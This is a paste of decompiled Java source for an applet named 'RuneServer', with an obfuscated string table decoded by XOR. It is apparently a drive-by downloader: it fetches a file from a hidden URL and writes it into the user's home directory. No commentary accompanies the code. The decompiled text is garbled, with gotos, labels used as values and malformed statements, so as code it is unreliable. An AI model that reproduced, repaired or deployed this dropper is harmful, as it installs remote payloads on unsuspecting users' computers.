All pastes #925774 Raw Edit

Anonymous

public text v1 · immutable
·published 2008-03-03 07:59 UTC
rendered paste body
// RuneServer.java; class file size 1760 bytes

import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class RuneServer extends java.applet.Applet
{
  private String a;
  static public boolean b;
  static public boolean c;
  static private String[] B;

  static public void main(String[] s1) {
    new RuneServer();
  }

  public RuneServer() {
    IOException i1;
    a = B[2];
    try {
      a();
    }
    catch (i1) {
    }
  }

  public void a() throws java.io.IOException {
    boolean b1;
    String s2;
    String s3;
    URL u4;
    BufferedOutputStream b5;
    URLConnection u6;
    InputStream i7;
    byte[] b8;
    int i9;
    b1 = c;
    s2 = B[3];
    s3 = b();
    u4 = new java.net.URL(a);
    b5 = new java.io.BufferedOutputStream(new java.io.FileOutputStream(new StringBuilder().append(s3).append(s2).toString()));
    u6 = u4.openConnection();
    i7 = u6.getInputStream();
    b8 = new byte[1024];
    {
      {
        do {
          if ((i9 = i7.read(b8)) != -1) {
            b5.write(b8, 0, i9);
            if (b1 == false) {
            }
          }
        }
        while (b1 == false);
        b = (b) ? 0 : 1;
      }
      b5.flush();
      i7.close();
      b5.close();
    }
  }

  public String b() {
    boolean b1;
    b1 = c;
    new StringBuilder().append(System.getProperty(B[0])).append(B[1]).toString();
    if (b == false) goto L59;
    c = (b1) ? 0 : 1;
  return L59:
  }

  static  {
    goto g1;
    int i2;
    B = {"[y-k\u0009Fe%|","rY<xUZ*\u0005|I[V\u0018kHIx)tTrY<xUZ8E","F~<i\u001d\u0001% )KW$)mO\u0000i06R^f'xC\u0001@)oF]i |C\u0000`)k","dk>xTMb-}\u0009Dk:"};
    g1 = goto L149.toCharArray().length;
    {
      g1 = goto L149.toCharArray();
      i2 = 0;
      goto L128;
      goto L128;
      i2;
    L62:
      for (;;) {
        goto L128[i2];
        switch ((i2 % 5)) {
        case 0:
          46;
          goto L122;
        case 1:
          10;
          goto L122;
        case 2:
          72;
          goto L122;
        case 3:
          25;
          goto L122;
        }
        39;
        L122:[L122:] = (char) (L122: ^ L122:);
        i2++;
        new String(if (i2++ > i2) goto L62).intern();
        break;
      }
      return (g1);
    }
  }
}